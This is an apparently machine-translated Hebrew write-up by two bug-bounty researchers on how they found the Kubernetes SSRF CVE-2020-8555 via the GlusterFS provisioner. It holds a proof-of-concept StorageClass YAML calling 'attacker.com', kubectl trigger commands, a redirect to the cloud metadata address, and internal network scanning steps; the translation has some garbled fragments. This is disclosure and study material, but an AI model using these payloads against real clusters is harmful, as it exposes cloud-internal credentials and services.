ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื”ืขืจื”. ืชืจื’ื•ื: ืžื—ื‘ืจื™ ื”ืžืืžืจ ื”ื–ื” ืžื“ื‘ืจื™ื ื‘ืคื™ืจื•ื˜ ืขืœ ืื™ืš ื”ื ื”ืฆืœื™ื—ื• ืœื’ืœื•ืช ืืช ื”ืคื’ื™ืขื•ืช CVE-2020โ€“8555 ื‘-Kubernetes. ืœืžืจื•ืช ืฉื‘ืชื—ื™ืœื” ื–ื” ืœื ื ืจืื” ืžืื•ื“ ืžืกื•ื›ืŸ, ื‘ืฉื™ืœื•ื‘ ืขื ื’ื•ืจืžื™ื ืื—ืจื™ื ื”ืชื‘ืจืจ ืฉื”ืงืจื™ื˜ื™ื•ืช ืฉืœื• ื”ื™ื™ืชื” ืžืงืกื™ืžืœื™ืช ืขื‘ื•ืจ ื—ืœืง ืžืกืคืงื™ ื”ืขื ืŸ. ื›ืžื” ืืจื’ื•ื ื™ื ืชื’ืžืœื• ื‘ื ื“ื™ื‘ื•ืช ืืช ื”ืžื•ืžื—ื™ื ืขืœ ืขื‘ื•ื“ืชื.

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ืžื™ ืื ื—ื ื•

ืื ื—ื ื• ืฉื ื™ ื—ื•ืงืจื™ ืื‘ื˜ื—ื” ืฆืจืคืชื™ื ืฉื’ื™ืœื• ื‘ืžืฉื•ืชืฃ ืคื’ื™ืขื•ืช ื‘-Kubernetes. ื”ืฉืžื•ืช ืฉืœื ื• ื”ื Brice Augras ื•ื›ืจื™ืกื˜ื•ืฃ Hauquiert, ืื‘ืœ ื‘ืคืœื˜ืคื•ืจืžื•ืช ืจื‘ื•ืช ืฉืœ Bug Bounty ืื ื—ื ื• ื™ื“ื•ืขื™ื ื‘ืชื•ืจ Reeverzax ื•-Hach ื‘ื”ืชืืžื”:

ืžื” ืงืจื”?

ืžืืžืจ ื–ื” ื”ื•ื ื”ื“ืจืš ืฉืœื ื• ืœืฉืชืฃ ื›ื™ืฆื“ ืคืจื•ื™ืงื˜ ืžื—ืงืจ ืจื’ื™ืœ ื”ืคืš ื‘ืžืคืชื™ืข ืœื”ืจืคืชืงื” ื”ืžืจื’ืฉืช ื‘ื™ื•ืชืจ ื‘ื—ื™ื™ื”ื ืฉืœ ืฆื™ื™ื“ื™ ื—ืจืงื™ื (ืœืคื—ื•ืช ืœืขืช ืขืชื”).

ื›ืคื™ ืฉืืชื” ื‘ื•ื•ื“ืื™ ื™ื•ื“ืข, ืœืฆื™ื™ื“ื™ ื‘ืื’ื™ื ื™ืฉ ื›ืžื” ืชื›ื•ื ื•ืช ื‘ื•ืœื˜ื•ืช:

  • ื”ื ื—ื™ื™ื ืขืœ ืคื™ืฆื” ื•ื‘ื™ืจื”;
  • ื”ื ืขื•ื‘ื“ื™ื ื›ืฉื›ื•ืœื ื™ืฉื ื™ื.

ืื ื—ื ื• ืœื ื™ื•ืฆืื™ื ืžื”ื›ืœืœื™ื ื”ืืœื”: ืื ื—ื ื• ื‘ื“ืจืš ื›ืœืœ ื ืคื’ืฉื™ื ื‘ืกื•ืคื™ ืฉื‘ื•ืข ื•ืžืขื‘ื™ืจื™ื ืœื™ืœื•ืช ืœืœื ืฉื™ื ื” ื‘ืคืจื™ืฆื”. ืื‘ืœ ืื—ื“ ื”ืœื™ืœื•ืช ื”ืืœื” ื”ืกืชื™ื™ื ื‘ืฆื•ืจื” ืžืื•ื“ ื™ื•ืฆืืช ื“ื•ืคืŸ.

ื‘ืชื—ื™ืœื” ืขืžื“ื ื• ืœื”ื™ืคื’ืฉ ื›ื“ื™ ืœื“ื•ืŸ ื‘ื”ืฉืชืชืคื•ืช CTF ื”ื™ื•ื ืฉืื—ืจื™. ื‘ืžื”ืœืš ืฉื™ื—ื” ืขืœ ืื‘ื˜ื—ืช Kubernetes ื‘ืกื‘ื™ื‘ืช ืฉื™ืจื•ืช ืžื ื•ื”ืœืช, ื ื–ื›ืจื ื• ื‘ืจืขื™ื•ืŸ ื”ื™ืฉืŸ ืฉืœ SSRF (ื–ื™ื•ืฃ ื‘ืงืฉืช ืฆื“ ืฉืจืช) ื•ื”ื—ืœื™ื˜ ืœื ืกื•ืช ืœื”ืฉืชืžืฉ ื‘ื• ื›ืกืงืจื™ืคื˜ ื”ืชืงืคื”.

ื‘ืฉืขื” 11:XNUMX ื™ืฉื‘ื ื• ืœืขืฉื•ืช ืžื—ืงืจ ื•ื”ืœื›ื ื• ืœื™ืฉื•ืŸ ืžื•ืงื“ื ื‘ื‘ื•ืงืจ, ืžืจื•ืฆื™ื ืžืื•ื“ ืžื”ืชื•ืฆืื•ืช. ื–ื” ื”ื™ื” ื‘ื’ืœืœ ื”ืžื—ืงืจ ื”ื–ื” ืฉื ืชืงืœื ื• ื‘ืชื•ื›ื ื™ืช MSRC Bug Bounty ื•ื”ื’ืขื ื• ืœื ื™ืฆื•ืœ ื”ืกืœืžื” ืฉืœ ื”ืจืฉืื•ืช.

ืขื‘ืจื• ืžืกืคืจ ืฉื‘ื•ืขื•ืช/ื—ื•ื“ืฉื™ื, ื•ื”ืชื•ืฆืื” ื”ื‘ืœืชื™ ืฆืคื•ื™ื” ืฉืœื ื• ื”ื‘ื™ืื” ืœืื—ื“ ื”ืชื’ืžื•ืœื™ื ื”ื’ื‘ื•ื”ื™ื ื‘ื™ื•ืชืจ ื‘ื”ื™ืกื˜ื•ืจื™ื” ืฉืœ Azure Cloud Bug Bounty - ื‘ื ื•ืกืฃ ืœื–ื” ืฉืงื™ื‘ืœื ื• ืž-Kubernetes!

ื‘ื”ืชื‘ืกืก ืขืœ ืคืจื•ื™ืงื˜ ื”ืžื—ืงืจ ืฉืœื ื•, ื•ืขื“ืช ืื‘ื˜ื—ืช ื”ืžื•ืฆืจ ืฉืœ Kubernetes ืคืจืกืžื” CVE-2020โ€“8555.

ื›ืขืช ืื ื™ ืจื•ืฆื” ืœื”ืคื™ืฅ ืžื™ื“ืข ืขืœ ื”ืคื’ื™ืขื•ืช ืฉื ืžืฆืื” ื›ื›ืœ ื”ืืคืฉืจ. ืื ื• ืžืงื•ื•ื™ื ืฉืืชื” ืžืขืจื™ืš ืืช ื”ืžืžืฆื ื•ืฉืชืฃ ืืช ื”ืคืจื˜ื™ื ื”ื˜ื›ื ื™ื™ื ืขื ื—ื‘ืจื™ื ืื—ืจื™ื ื‘ืงื”ื™ืœืช infosec!

ืื– ื”ื ื” ื”ืกื™ืคื•ืจ ืฉืœื ื•...

ื”ึถืงืฉืึตืจ

ื›ื“ื™ ืœื”ื‘ื™ืŸ ื‘ืฆื•ืจื” ื”ื˜ื•ื‘ื” ื‘ื™ื•ืชืจ ืžื” ืงืจื”, ื‘ื•ืื• ื ืกืชื›ืœ ืชื—ื™ืœื” ื›ื™ืฆื“ Kubernetes ืขื•ื‘ื“ ื‘ืกื‘ื™ื‘ื” ืžื ื•ื”ืœืช ื‘ืขื ืŸ.

ื›ืืฉืจ ืืชื” ืžื™ื™ืฆืจ ืืฉื›ื•ืœ Kubernetes ื‘ืกื‘ื™ื‘ื” ื›ื–ื•, ืฉื›ื‘ืช ื”ื ื™ื”ื•ืœ ื”ื™ื ื‘ื“ืจืš ื›ืœืœ ื‘ืื—ืจื™ื•ืช ืกืคืง ื”ืขื ืŸ:

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...
ืฉื›ื‘ืช ื”ื‘ืงืจื” ืžืžื•ืงืžืช ื‘ื”ื™ืงืฃ ืฉืœ ืกืคืง ื”ืขื ืŸ, ื‘ืขื•ื“ ืฉืฆืžืชื™ Kubernetes ืžืžื•ืงืžื™ื ื‘ื”ื™ืงืฃ ืฉืœ ื”ืœืงื•ื—

ืœื”ืงืฆืื” ื“ื™ื ืžื™ืช ืฉืœ ื ืคื—ื™ื, ื ืขืฉื” ืฉื™ืžื•ืฉ ื‘ืžื ื’ื ื•ืŸ ืœืžืชืŸ ืืกืคืงื” โ€‹โ€‹ื“ื™ื ืžื™ืช ืฉืœื”ื ืž-backend ื—ื™ืฆื•ื ื™ ืฉืœ ืื—ืกื•ืŸ ื•ืœื”ืฉื•ื•ืช ืื•ืชื ืœ-PVC (ื˜ืขื ืช ื ืคื— ืžืชืžืฉื›ืช, ื›ืœื•ืžืจ ื‘ืงืฉื” ืœื ืคื—).

ืœืคื™ื›ืš, ืœืื—ืจ ื™ืฆื™ืจืช ื”-PVC ื•ื ืงืฉืจ ืœ-StorageClass ื‘ืืฉื›ื•ืœ K8s, ืคืขื•ืœื•ืช ื ื•ืกืคื•ืช ืœืกืคืง ืืช ืขื•ืฆืžืช ื”ืงื•ืœ ืžืฉืชืœื˜ื•ืช ืขืœ ื™ื“ื™ ืžื ื”ืœ ื”-kube/cloud controller (ื”ืฉื ื”ืžื“ื•ื™ืง ืฉืœื• ืชืœื•ื™ ื‘ืžื”ื“ื•ืจื”). (ื”ืขืจื”. ืชืจื’ื•ื: ื›ื‘ืจ ื›ืชื‘ื ื• ื™ื•ืชืจ ืขืœ CCM ื‘ืืžืฆืขื•ืช ื”ื“ื•ื’ืžื” ืฉืœ ื”ื˜ืžืขืชื• ืขื‘ื•ืจ ืื—ืช ืžืกืคืงื™ื•ืช ื”ืขื ืŸ ื›ืืŸ.)

ื™ืฉื ื ืžืกืคืจ ืกื•ื’ื™ื ืฉืœ ืืกืคืงื” โ€‹โ€‹ื ืชืžื›ื™ื ืขืœ ื™ื“ื™ Kubernetes: ืจื•ื‘ื ื›ืœื•ืœื™ื ื‘ ืœื™ื‘ืช ืžืชื–ืžืจ, ื‘ืขื•ื“ ืฉืื—ืจื™ื ืžื ื•ื”ืœื™ื ืขืœ ื™ื“ื™ ืคืจื•ืกืคืงื˜ื™ื ื ื•ืกืคื™ื ื”ืžืžื•ืงืžื™ื ื‘-pods ื‘ืืฉื›ื•ืœ.

ื‘ืžื—ืงืจ ืฉืœื ื•, ื”ืชืžืงื“ื ื• ื‘ืžื ื’ื ื•ืŸ ื”ืงืฆืืช ื”ื ืคื— ื”ืคื ื™ืžื™, ื”ืžื•ื“ื’ื ืœื”ืœืŸ:

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...
ื”ืงืฆืื” ื“ื™ื ืžื™ืช ืฉืœ ืืžืฆืขื™ ืื—ืกื•ืŸ ื‘ืืžืฆืขื•ืช ื”ืกืคืง ื”ืžื•ื‘ื ื” ืฉืœ Kubernetes

ื‘ืงื™ืฆื•ืจ, ื›ืืฉืจ Kubernetes ื ืคืจืกืช ื‘ืกื‘ื™ื‘ื” ืžื ื•ื”ืœืช, ืžื ื”ืœ ื”ื‘ืงืจ ื”ื•ื ื‘ืื—ืจื™ื•ืช ืกืคืง ื”ืขื ืŸ, ืืš ื‘ืงืฉืช ื™ืฆื™ืจืช ื”ื ืคื— (ืžืกืคืจ 3 ื‘ืชืจืฉื™ื ืœืžืขืœื”) ื™ื•ืฆืืช ืžื”ืจืฉืช ื”ืคื ื™ืžื™ืช ืฉืœ ืกืคืง ื”ืขื ืŸ. ื•ื›ืืŸ ื”ื“ื‘ืจื™ื ืžืžืฉ ืžืขื ื™ื™ื ื™ื!

ืชืจื—ื™ืฉ ืคืจื™ืฆื”

ื‘ืกืขื™ืฃ ื–ื” ื ืกื‘ื™ืจ ื›ื™ืฆื“ ื ื™ืฆืœื ื• ืืช ื–ืจื™ืžืช ื”ืขื‘ื•ื“ื” ืฉื”ื•ื–ื›ืจื” ืœืขื™ืœ ื•ื ื™ื’ืฉื ื• ืœืžืฉืื‘ื™ื ื”ืคื ื™ืžื™ื™ื ืฉืœ ืกืคืง ืฉื™ืจื•ืชื™ ื”ืขื ืŸ. ื–ื” ื’ื ื™ืจืื” ืœืš ืื™ืš ืืชื” ื™ื›ื•ืœ ืœื‘ืฆืข ืคืขื•ืœื•ืช ืžืกื•ื™ืžื•ืช, ื›ื’ื•ืŸ ื”ืฉื’ืช ืื™ืฉื•ืจื™ื ืคื ื™ืžื™ื™ื ืื• ื”ืกืœืžื” ืฉืœ ื”ืจืฉืื•ืช.

ืžื ื™ืคื•ืœืฆื™ื” ืคืฉื•ื˜ื” ืื—ืช (ื‘ืžืงืจื” ื–ื”, ื–ื™ื•ืฃ ื‘ืงืฉืช ืฉื™ืจื•ืช ื‘ืฆื“) ืขื–ืจื” ืœื—ืจื•ื’ ืžืกื‘ื™ื‘ืช ื”ืœืงื•ื— ืœืชื•ืš ืืฉื›ื•ืœื•ืช ืฉืœ ืกืคืงื™ ืฉื™ืจื•ืช ืฉื•ื ื™ื ืชื—ืช K8s ืžื ื•ื”ืœื™ื.

ื‘ืžื—ืงืจ ืฉืœื ื• ื”ืชืžืงื“ื ื• ื‘ืกืคืง GlusterFS. ืœืžืจื•ืช ื”ืขื•ื‘ื“ื” ืฉืจืฆืฃ ื”ืคืขื•ืœื•ืช ื”ื ื•ืกืฃ ืžืชื•ืืจ ื‘ื”ืงืฉืจ ื–ื”, Quobyte, StorageOS ื•-ScaleIO ืจื’ื™ืฉื™ื ืœืื•ืชื” ืคื’ื™ืขื•ืช.

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...
ืฉื™ืžื•ืฉ ืœืจืขื” ื‘ืžื ื’ื ื•ืŸ ื”ืงืฆืืช ื ืคื— ื“ื™ื ืžื™

ื‘ืžื”ืœืš ื ื™ืชื•ื— ืฉื™ืขื•ืจื™ ืื—ืกื•ืŸ GlusterFS ื‘ืงื•ื“ ื”ืžืงื•ืจ ืฉืœ ื”ืœืงื•ื— ืฉืœ Golang ืื ื—ื ื• ืฉื ืœื‘ืฉื‘ื‘ืงืฉืช ื”-HTTP ื”ืจืืฉื•ื ื” (3) ืฉื ืฉืœื—ื” ื‘ืžื”ืœืš ื™ืฆื™ืจืช ื”ื›ืจืš, ืœืกื•ืฃ ื›ืชื•ื‘ืช ื”ืืชืจ ื”ืžื•ืชืืžืช ื‘ืคืจืžื˜ืจ resturl ื ื•ืกืฃ /volumes.

ื”ื—ืœื˜ื ื• ืœื”ื™ืคื˜ืจ ืžื”ื ืชื™ื‘ ื”ื ื•ืกืฃ ื”ื–ื” ืขืœ ื™ื“ื™ ื”ื•ืกืคื” # ื‘ืคืจืžื˜ืจ resturl. ื”ื ื” ืชืฆื•ืจืช YAML ื”ืจืืฉื•ื ื” ืฉื‘ื” ื”ืฉืชืžืฉื ื• ื›ื“ื™ ืœื‘ื“ื•ืง ืคื’ื™ืขื•ืช SSRF ืขื™ื•ื•ืจืช ืœืžื—ืฆื” (ืชื•ื›ืœ ืœืงืจื•ื ืขื•ื“ ืขืœ SSRF ื—ืฆื™ ืขื™ื•ื•ืจ ืื• ื—ืฆื™ ืขื™ื•ื•ืจ, ืœืžืฉืœ, ื›ืืŸ - ืžืฉื•ืขืจ. ืชืจื’ื•ื):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ืœืื—ืจ ืžื›ืŸ ื”ืฉืชืžืฉื ื• ื‘ื‘ื™ื ืืจื™ ื›ื“ื™ ืœื ื”ืœ ืžืจื—ื•ืง ืืช ืืฉื›ื•ืœ Kubernetes ืงื•ื‘ืงื˜ืœ. ื‘ื“ืจืš ื›ืœืœ, ืกืคืงื™ ืขื ืŸ (Azure, Google, AWS ื•ื›ื•') ืžืืคืฉืจื™ื ืœืš ืœื”ืฉื™ื’ ืื™ืฉื•ืจื™ื ืœืฉื™ืžื•ืฉ ื‘ื›ืœื™ ื”ืฉื™ืจื•ืช ื”ื–ื”.

ื”ื•ื“ื•ืช ืœื›ืš, ื™ื›ื•ืœืชื™ ืœื”ืฉืชืžืฉ ื‘ืงื•ื‘ืฅ ื”"ืžื™ื•ื—ื“" ืฉืœื™. Kube-controller-manager ื‘ื™ืฆืข ืืช ื‘ืงืฉืช ื”-HTTP ืฉื”ืชืงื‘ืœื”:

kubectl create -f sc-poc.yaml

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...
ื”ืชืฉื•ื‘ื” ืžื ืงื•ื“ืช ืžื‘ื˜ื• ืฉืœ ื”ืชื•ืงืฃ

ื–ืžืŸ ืงืฆืจ ืœืื—ืจ ืžื›ืŸ, ื”ืฆืœื—ื ื• ืœืงื‘ืœ ื’ื ืชื’ื•ื‘ืช HTTP ืžืฉืจืช ื”ื™ืขื“ - ื‘ืืžืฆืขื•ืช ื”ืคืงื•ื“ื•ืช describe pvc ืื• get events ื‘- kubectl. ื•ืื›ืŸ: ื“ืจื™ื™ื‘ืจ ื‘ืจื™ืจืช ื”ืžื—ื“ืœ ื”ื–ื” ืฉืœ Kubernetes ื”ื•ื ืžืคื•ืจื˜ ืžื“ื™ ื‘ืื–ื”ืจื•ืช/ื”ื•ื“ืขื•ืช ื”ืฉื’ื™ืื” ืฉืœื•...

ื”ื ื” ื“ื•ื’ืžื” ืขื ืงื™ืฉื•ืจ ืœ https://www.google.frืžื•ื’ื“ืจ ื›ืคืจืžื˜ืจ resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื‘ื’ื™ืฉื” ื–ื•, ื”ื•ื’ื‘ืœื ื• ืœืฉืื™ืœืชื•ืช ื›ืžื• ืคื•ืกื˜ HTTP ื•ืœื ื™ื›ื•ืœ ื”ื™ื” ืœืงื‘ืœ ืืช ื”ืชื•ื›ืŸ ืฉืœ ื’ื•ืฃ ื”ืชื’ื•ื‘ื” ืื ืงื•ื“ ื”ื”ื—ื–ืจื” ื”ื™ื” 201. ืœื›ืŸ, ื”ื—ืœื˜ื ื• ืœืขืจื•ืš ืžื—ืงืจ ื ื•ืกืฃ ื•ื”ืจื—ื‘ื ื• ืืช ืชืจื—ื™ืฉ ื”ืคืจื™ืฆื” ืขื ื’ื™ืฉื•ืช ื—ื“ืฉื•ืช.

ื”ืื‘ื•ืœื•ืฆื™ื” ืฉืœ ื”ืžื—ืงืจ ืฉืœื ื•

  • ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 1: ืฉื™ืžื•ืฉ ื‘ื”ืคื ื™ื” 302 ืžืฉืจืช ื—ื™ืฆื•ื ื™ ื›ื“ื™ ืœืฉื ื•ืช ืืช ืฉื™ื˜ืช ื”-HTTP ื›ื“ื™ ืœืกืคืง ื“ืจืš ื’ืžื™ืฉื” ื™ื•ืชืจ ืœืื™ืกื•ืฃ ื ืชื•ื ื™ื ืคื ื™ืžื™ื™ื.
  • ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 2: ืื•ื˜ื•ืžืฆื™ื” ืฉืœ ืกืจื™ืงืช LAN ื•ื’ื™ืœื•ื™ ืžืฉืื‘ื™ื ืคื ื™ืžื™ื™ื.
  • ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 3: ืฉื™ืžื•ืฉ ื‘-HTTP CRLF + ื”ื‘ืจื—ื” ("ื”ื‘ืจื—ืช ื‘ืงืฉื•ืช") ื›ื“ื™ ืœื™ืฆื•ืจ ื‘ืงืฉื•ืช HTTP ืžื•ืชืืžื•ืช ื•ืœืื—ื–ืจ ื ืชื•ื ื™ื ืฉื—ื•ืœืฆื• ืžื™ื•ืžื ื™ ื”-kube-controller.

ืžืคืจื˜ ื˜ื›ื ื™

  • ื”ืžื—ืงืจ ื”ืฉืชืžืฉ ื‘-Azure Kubernetes Service (AKS) ืขื Kubernetes ื’ืจืกื” 1.12 ื‘ืื–ื•ืจ ืฆืคื•ืŸ ืื™ืจื•ืคื”.
  • ื”ืชืจื—ื™ืฉื™ื ื”ืžืชื•ืืจื™ื ืœืขื™ืœ ื‘ื•ืฆืขื• ื‘ืžื”ื“ื•ืจื•ืช ื”ืื—ืจื•ื ื•ืช ืฉืœ Kubernetes, ืœืžืขื˜ ื”ืชืจื—ื™ืฉ ื”ืฉืœื™ืฉื™, ืžื›ื™ื•ื•ืŸ ื”ื•ื ื”ื™ื” ืฆืจื™ืš Kubernetes ืฉื ื‘ื ื” ืขื Golang ื’ืจืกื” โ‰ค 1.12.
  • ืฉืจืช ื—ื™ืฆื•ื ื™ ืฉืœ ื”ืชื•ืงืฃ - https://attacker.com.

ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 1: ื”ืคื ื™ื™ืช ื‘ืงืฉืช HTTP POST ืœ-GET ื•ืงื‘ืœืช ื ืชื•ื ื™ื ืจื’ื™ืฉื™ื

ื”ืฉื™ื˜ื” ื”ืžืงื•ืจื™ืช ืฉื•ืคืจื” ืขืœ ื™ื“ื™ ืชืฆื•ืจืช ื”ืฉืจืช ืฉืœ ื”ืชื•ืงืฃ ืœื—ื–ื•ืจ 302 HTTP Recodeื›ื“ื™ ืœื”ืžื™ืจ ื‘ืงืฉืช POST ืœื‘ืงืฉืช GET (ืฉืœื‘ 4 ื‘ืชืจืฉื™ื):

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื‘ืงืฉื” ืจืืฉื•ื ื” (3) ืžื’ื™ืขื” ืžื”ืœืงื•ื— GlusterFS (ืžื ื”ืœ ื”ื‘ืงืจ), ื™ืฉ ืกื•ื’ POST. ืขืœ ื™ื“ื™ ื‘ื™ืฆื•ืข ื”ืฉืœื‘ื™ื ื”ื‘ืื™ื ื”ืฆืœื—ื ื• ืœื”ืคื•ืš ืื•ืชื• ืœ-GET:

  • ื‘ืชื•ืจ ืคืจืžื˜ืจ resturl ื‘ StorageClass ื–ื” ืžืฆื•ื™ืŸ http://attacker.com/redirect.php.
  • ื ืงื•ื“ืช ืงืฆื” https://attacker.com/redirect.php ืžื’ื™ื‘ ืขื ืงื•ื“ ืกื˜ื˜ื•ืก 302 HTTP ืขื ื›ื•ืชืจืช ื”ืžื™ืงื•ื ื”ื‘ืื”: http://169.254.169.254. ื–ื” ื™ื›ื•ืœ ืœื”ื™ื•ืช ื›ืœ ืžืฉืื‘ ืคื ื™ืžื™ ืื—ืจ - ื‘ืžืงืจื” ื–ื”, ื”ืงื™ืฉื•ืจ ืœื”ืคื ื™ื” ืžื—ื“ืฉ ืžืฉืžืฉ ืืš ื•ืจืง ื›ื“ื•ื’ืžื”.
  • ื‘ืจื™ืจืช ืžื—ื“ืœ ืกืคืจื™ื™ืช net/http Golang ืžืคื ื” ืืช ื”ื‘ืงืฉื” ื•ืžืžื™ืจ ืืช ื”-POST ืœ-GET ืขื ืงื•ื“ ืกื˜ื˜ื•ืก 302, ื•ื›ืชื•ืฆืื” ืžื›ืš ื‘ืงืฉืช HTTP GET ืœืžืฉืื‘ ื”ื™ืขื“.

ื›ื“ื™ ืœืงืจื•ื ืืช ื’ื•ืฃ ืชื’ื•ื‘ืช ื”-HTTP ืืชื” ืฆืจื™ืš ืœืขืฉื•ืช describe ื—ืคืฅ PVC:

kubectl describe pvc xxx

ื”ื ื” ื“ื•ื’ืžื” ืœืชื’ื•ื‘ืช HTTP ื‘ืคื•ืจืžื˜ JSON ืฉื”ืฆืœื—ื ื• ืœืงื‘ืœ:

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื”ื™ื›ื•ืœื•ืช ืฉืœ ื”ืคื’ื™ืขื•ืช ืฉื ืžืฆืื” ื‘ืื•ืชื• ื–ืžืŸ ื”ื•ื’ื‘ืœื• ื‘ืฉืœ ื”ื ืงื•ื“ื•ืช ื”ื‘ืื•ืช:

  • ื—ื•ืกืจ ื™ื›ื•ืœืช ืœื”ื›ื ื™ืก ื›ื•ืชืจื•ืช HTTP ืœื‘ืงืฉื” ื”ื™ื•ืฆืืช.
  • ื—ื•ืกืจ ื™ื›ื•ืœืช ืœื‘ืฆืข ื‘ืงืฉืช POST ืขื ืคืจืžื˜ืจื™ื ื‘ื’ื•ืฃ (ื–ื” ื ื•ื— ืœื‘ืงืฉ ืืช ืขืจืš ื”ืžืคืชื— ืžืžื•ืคืข etcd ืฉืคื•ืขืœ ืขืœ 2379 ื™ืฆื™ืื” ืื โ€‹โ€‹ื ืขืฉื” ืฉื™ืžื•ืฉ ื‘-HTTP ืœื ืžื•ืฆืคืŸ).
  • ื—ื•ืกืจ ื™ื›ื•ืœืช ืœืื—ื–ืจ ืืช ืชื•ื›ืŸ ื’ื•ืฃ ื”ืชื’ื•ื‘ื” ื›ืืฉืจ ืงื•ื“ ื”ืกื˜ื˜ื•ืก ื”ื™ื” 200 ื•ืœืชืฉื•ื‘ื” ืœื ื”ื™ื” JSON Content-Type.

ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 2: ืกืจื™ืงืช ื”ืจืฉืช ื”ืžืงื•ืžื™ืช

ืฉื™ื˜ืช SSRF ื—ืฆื™ ืขื™ื•ื•ืจืช ื–ื• ืฉื™ืžืฉื” ืœืื—ืจ ืžื›ืŸ ื›ื“ื™ ืœืกืจื•ืง ืืช ื”ืจืฉืช ื”ืคื ื™ืžื™ืช ืฉืœ ืกืคืง ื”ืขื ืŸ ื•ืœืกืงืจ ืฉื™ืจื•ืชื™ ื”ืื–ื ื” ืฉื•ื ื™ื (ืžื•ืคืข Metadata, Kubelet ื•ื›ื•' ื•ื›ื•') ื‘ื”ืชื‘ืกืก ืขืœ ื”ืชื’ื•ื‘ื•ืช ื‘ืงืจ kube.

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ืจืืฉื™ืช, ื ืงื‘ืขื• ื™ืฆื™ืื•ืช ื”ื”ืื–ื ื” ื”ืกื˜ื ื“ืจื˜ื™ื•ืช ืฉืœ ืจื›ื™ื‘ื™ Kubernetes (8443, 10250, 10251 ื•ื›ื•'), ื•ืœืื—ืจ ืžื›ืŸ ื”ื™ื™ื ื• ืฆืจื™ื›ื™ื ืœื”ืคื•ืš ืืช ืชื”ืœื™ืš ื”ืกืจื™ืงื” ืœืื•ื˜ื•ืžื˜ื™.

ื›ืฉืจืื™ื ื• ืฉืฉื™ื˜ืช ืกืจื™ืงืช ืžืฉืื‘ื™ื ื–ื• ื”ื™ื ืžืื•ื“ ืกืคืฆื™ืคื™ืช ื•ืื™ื ื” ืชื•ืืžืช ืœืกื•ืจืงื™ื ื•ืœื›ืœื™ SSRF ืงืœืืกื™ื™ื, ื”ื—ืœื˜ื ื• ืœื™ืฆื•ืจ ืขื•ื‘ื“ื™ื ืžืฉืœื ื• ื‘ืกืงืจื™ืคื˜ bash ืฉื™ื”ืคื•ืš ืืช ื›ืœ ื”ืชื”ืœื™ืš ืœืื•ื˜ื•ืžื˜ื™.

ืœื“ื•ื’ืžื”, ืขืœ ืžื ืช ืœืกืจื•ืง ื‘ืžื”ื™ืจื•ืช ืืช ื”ื˜ื•ื•ื— 172.16.0.0/12 ืฉืœ ื”ืจืฉืช ื”ืคื ื™ืžื™ืช, ื”ื•ืฉืงื• ื‘ืžืงื‘ื™ืœ 15 ืขื•ื‘ื“ื™ื. ื˜ื•ื•ื— ื”-IP ื”ื "ืœ ื ื‘ื—ืจ ื›ื“ื•ื’ืžื” ื‘ืœื‘ื“ ื•ื”ื•ื ืขืฉื•ื™ ืœื”ื™ื•ืช ื ืชื•ืŸ ืœืฉื™ื ื•ื™ ื‘ื˜ื•ื•ื— ื”-IP ืฉืœ ืกืคืง ื”ืฉื™ืจื•ืช ื”ืกืคืฆื™ืคื™ ืฉืœืš.

ื›ื“ื™ ืœืกืจื•ืง ื›ืชื•ื‘ืช IP ืื—ืช ื•ื™ืฆื™ืื” ืื—ืช, ืขืœื™ืš ืœื‘ืฆืข ืืช ื”ืคืขื•ืœื•ืช ื”ื‘ืื•ืช:

  • ืžื—ืง ืืช StorageClass ื”ืื—ืจื•ืŸ ืฉื ื‘ื“ืง;
  • ืœื”ืกื™ืจ ืืช ืชื‘ื™ืขืช ื ืคื— ืžืชืžืฉื›ืช ื”ืžืื•ืžืชืช ื”ืงื•ื“ืžืช;
  • ืฉื ื” ืืช ืขืจื›ื™ ื”- IP ื•ื”ืคื•ืจื˜ื™ื ื‘ sc.yaml;
  • ืฆื•ืจ StorageClass ืขื IP ื•ื™ืฆื™ืื” ื—ื“ืฉื™ื;
  • ืœื™ืฆื•ืจ PVC ื—ื“ืฉ;
  • ืœื—ืœืฅ ืชื•ืฆืื•ืช ืกืจื™ืงื” ื‘ืืžืฆืขื•ืช describe ืขื‘ื•ืจ PVC.

ืชืจื—ื™ืฉ ืžืชืงื“ื ืžืก' 3: ื”ื–ืจืงืช CRLF + ื”ื‘ืจื—ืช HTTP ื‘ื’ืจืกืื•ืช "ื™ืฉื ื•ืช" ืฉืœ ืืฉื›ื•ืœ Kubernetes

ืื ื‘ื ื•ืกืฃ ืœื›ืš ื”ืกืคืง ื”ืฆื™ืข ืœืœืงื•ื—ื•ืช ื’ืจืกืื•ืช ื™ืฉื ื•ืช ืฉืœ ืืฉื›ื•ืœ K8s ะธ ื ืชืŸ ืœื”ื ื’ื™ืฉื” ืœื™ื•ืžื ื™ื ืฉืœ kube-controller-manager, ื”ื”ืฉืคืขื” ื”ืคื›ื” ืžืฉืžืขื•ืชื™ืช ืขื•ื“ ื™ื•ืชืจ.

